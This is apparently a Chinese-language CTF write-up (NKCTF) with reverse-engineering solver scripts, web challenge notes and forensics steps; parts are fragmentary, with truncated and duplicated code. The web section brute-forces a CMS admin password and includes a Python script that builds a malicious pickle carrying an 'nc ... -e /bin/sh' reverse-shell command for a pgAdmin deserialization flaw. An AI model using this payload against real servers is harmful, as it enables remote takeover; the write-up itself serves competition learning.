encrypted_data[4 * i] = tmp >> 24 & 0xff
encrypted_data[4 * i + 1] = tmp >> 16 & 0xff
encrypted_data[4 * i + 2] = tmp >> 8 & 0xff
encrypted_data[4 * i + 3] = tmp & 0xff
for i in range(16):
encrypted_data[i] = s_box.index(encrypted_data[i])
for cnt in range(9):
for i in range(4):
for j in range(4):
encrypted_data[4 * i + j] ^= (key[4 * j + i] & 0xff)
for i in range(4):
for j in range(4):
encrypted_data[4 * i + j] = encrypted_data[4 * i + j] ^ (key[4 * j + i] & 0xff)
for i in range(16):
encrypted_data[i] = s_box.index(encrypted_data[i])
return encrypted_data
data = [0x90D0B0E, 0xD0B0E09, 0xB0E090D, 0xE090D0B]
key = [0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F]
encrypted_data = encrypt_data(data, key)
print(bytes(encrypted_data))
REEZ
通过运行得到真是的程序,主函数内容如下
计算思路是当对256取模的情况下,-105的乘法逆元是39。如果我们将23乘以-105,然后对256取模,并加上111,结果恰好是256的倍数。因此,我们可以通过矩阵乘法取模的方式来消除这些项,并使用Z3来解决这个问题。
在第二部分,采取相同的方法消除冗余项。需要注意的是,在复制字节时是逆序的。因此,在使用Z3解出结果后,需要将其逆序排列。最后,手动求解逆序排列的结果就是所需的标志
from sympy import mod_inverse
# 加密过的数据
enc = [0x44, 0x30, 0x5F, 0x79, 0x30, 0x75, 0x5F, 0x4C, 0x69, 0x6B, 0x65, 0x5F, 0x57, 0x68, 0x61, 0x74, 0x5F, 0x59, 0x6F, 0x75, 0x5F, 0x53, 0x65, 0x65, 0x3F]
# 密钥
key = [0x32, 0x44, 0xAA, 0x56, 0x63, 0x3D, 0x2B, 0x09, 0xCD, 0x34,
0x99, 0x3C, 0x56, 0xB8, 0x99, 0xDE, 0x26, 0x1F, 0x7E, 0x0B,
0x42, 0xC2, 0x1B, 0xEB, 0xF5]
# 解密
for i in range(len(enc)):
enc[i] ^= key[i]
print(enc)
# 变量数组
enc = [118, 116, 245, 47, 83, 72, 116, 69, 164, 95, 252, 99, 1, 208, 248, 170, 121, 70, 17, 126, 29, 145, 126, 142, 202]
l = [Int('l{}'.format(i)) for i in range(25)]
# 创建 Z3 求解器
solver = Solver()
# 添加变量范围约束
for i in range(25):
solver.add(And(l[i] >= 0, l[i] <= 256))
# 添加模运算等式
solver.add(((-2)*l[5] + (-1)*l[10] + (4)*l[15] + (1)*l[20]) % 256 == enc[0])
solver.add(((-2)*l[6] + (-1)*l[11] + (4)*l[16] + (1)*l[21]) % 256 == enc[1])
solver.add(((-2)*l[7] + (-1)*l[12] + (4)*l[17] + (1)*l[22]) % 256 == enc[2])
solver.add(((-2)*l[8] + (-1)*l[13] + (4)*l[18] + (1)*l[23]) % 256 == enc[3])
solver.add(((-2)*l[9] + (-1)*l[14] + (4)*l[19] + (1)*l[24]) % 256 == enc[4])
solver.add(((-1)*l[0] + (1)*l[5] + (-1)*l[20]) % 256 == enc[5])
solver.add(((-1)*l[1] + (1)*l[6] + (-1)*l[21]) % 256 == enc[6])
solver.add(((-1)*l[2] + (1)*l[7] + (-1)*l[22]) % 256 == enc[7])
solver.add(((-1)*l[3] + (1)*l[8] + (-1)*l[23]) % 256 == enc[8])
solver.add(((-1)*l[4] + (1)*l[9] + (-1)*l[24]) % 256 == enc[9])
solver.add(((-3)*l[0] + (-2)*l[5] + (-10)*l[15] + (-1)*l[20]) % 256 == enc[10])
solver.add(((-3)*l[1] + (-2)*l[6] + (-10)*l[16] + (-1)*l[21]) % 256 == enc[11])
solver.add(((-3)*l[2] + (-2)*l[7] + (-10)*l[17] + (-1)*l[22]) % 256 == enc[12])
solver.add(((-3)*l[3] + (-2)*l[8] + (-10)*l[18] + (-1)*l[23]) % 256 == enc[13])
solver.add(((-3)*l[4] + (-2)*l[9] + (-10)*l[19] + (-1)*l[24]) % 256 == enc[14])
solver.add(((-1)*l[0] + (-2)*l[5] + (1)*l[10] + (-13)*l[15] + (-1)*l[20]) % 256 == enc[15])
solver.add(((-1)*l[1] + (-2)*l[6] + (1)*l[11] + (-13)*l[16] + (-1)*l[21]) % 256 == enc[16])
solver.add(((-1)*l[2] + (-2)*l[7] + (1)*l[12] + (-13)*l[17] + (-1)*l[22]) % 256 == enc[17])
solver.add(((-1)*l[3] + (-2)*l[8] + (1)*l[13] + (-13)*l[18] + (-1)*l[23]) % 256 == enc[18])
solver.add(((-1)*l[4] + (-2)*l[9] + (1)*l[14] + (-13)*l[19] + (-1)*l[24]) % 256 == enc[19])
solver.add(((-6)*l[0] + (-1)*l[5] + (-2)*l[10] + (1)*l[15] + (-2)*l[20]) % 256 == enc[20])
solver.add(((-6)*l[1] + (-1)*l[6] + (-2)*l[11] + (1)*l[16] + (-2)*l[21]) % 256 == enc[21])
solver.add(((-6)*l[2] + (-1)*l[7] + (-2)*l[12] + (1)*l[17] + (-2)*l[22]) % 256 == enc[22])
solver.add(((-6)*l[3] + (-1)*l[8] + (-2)*l[13] + (1)*l[18] + (-2)*l[23]) % 256 == enc[23])
solver.add(((-6)*l[4] + (-1)*l[9] + (-2)*l[14] + (1)*l[19] + (-2)*l[24]) % 256 == enc[24])
# 检查求解器是否有解
if solver.check() == sat:
# 获取解模型
model = solver.model()
# 提取解值
solution = [model.eval(l[i]).as_long() for i in range(25)]
print("解为:", solution)
else:
print("无解")
enc1 = [225, 119, 21, 156, 40, 140, 17, 78, 156, 147,
49, 240, 67, 69, 31, 23, 152, 184, 20, 163,
99, 38, 244, 92, 12]
enc1 = [12, 92, 244, 38, 99, 163, 20, 184, 152, 23, 31, 69, 67, 240, 49, 147, 156, 78, 17, 140, 40, 156, 21, 119, 225]
enc1[0] = enc1[0] - 24 - enc1[23]
enc1[1] = enc1[1] - (enc1[22] ^ enc1[24])
enc1[2] = enc1[2] - enc1[19]
enc1[3] -= enc1[18] + enc1[16]
enc1[4] -= enc1[13]
enc1[5] -= enc1[10] + enc1[12]
enc1[6] -= (enc1[7] ^ enc1[9])
enc1[7] -= 2 * (enc1[23] & 0xF9 ^ 0x11) + (enc1[23] ^ 0xEE)
enc1[8] -= enc1[22] ^ 0x4D
enc1[9] -= 8 + enc1[21]
enc1[10] -= enc1[19] + enc1[20] + 12
enc1[11] -= enc1[17] ^ enc1[16]
enc1[12] -= enc1[13]
enc1[13] -= enc1[11] + enc1[12] - 7
enc1[14] -= enc1[10] + enc1[9]
enc1[15] -= enc1[7] - enc1[8]
enc1[16] -= enc1[5] ^ (enc1[6] + 1)
enc1[17] -= enc1[1] - enc1[4] + 17
enc1[18] -= enc1[16] + enc1[17]
enc1[19] -= enc1[3] - enc1[1]
enc1[20] -= enc1[4] + enc1[15] - 5
enc1[21] -= enc1[7] ^ 0x17
enc1[22] -= enc1[10] + enc1[9]
enc1[23] -= enc1[11] ^ enc1[10]
enc1[24] -= enc1[13] + enc1[14] + 3
# 将列表中的每个元素限制在0到255之间
enc1 = [enc1[i] & 0xff for i in range(25)]
# 将列表转换为字节序列
print(bytes(enc1))
print("}hhysAe_@s_sS1_tuHT{FTCKN"[::-1])
# 将列表中的每个元素限制在0到255之间
enc1 = [enc1[i] & 0xff for i in range(25)]
# 将列表转换为字节序列
print(byte
Web
My first cms
爆破后台密码得到 Admin123
按照 https://packetstormsecurity.com/files/177241/CMS-Made-Simple-2.2.19-Remote-Code-Execut
ion.html 进行rce
attack tacooooo
猜出密码tacooooo 登录进去
https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_dese rialization_and_rce/
按照文章生成posix.pickle
import sys
import struct
def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b
if __name__ == '__main__':
with open('posix.pickle', 'wb') as f:
data = produce_pickle_bytes('posix', "nc xxxxxx xx -e /bin/sh")
f.write(data)
之后按照文章打就可反弹shell,获取flag
全世界最简单的CTF
|
用过就是熟悉
system_log中存在admin密码
登录后台,获取flag
取证
HackMycql
使用取证大师自动取证,源文件里找到了z盘挂载的文件
找到了几个通过Vera crypt加密的文件
有部署在docker的服务器数据库拓扑图
历史文件中微软便签可以找到数据库的提示
成功解开vc容器
找到图数据库密码
启动:neo4j.bat console
成功登录数据库
成功找到flag
根据提示uuid
得到flag为NKCTF{f05d9e24-0217-83e2-afa7-20e982b7e59f}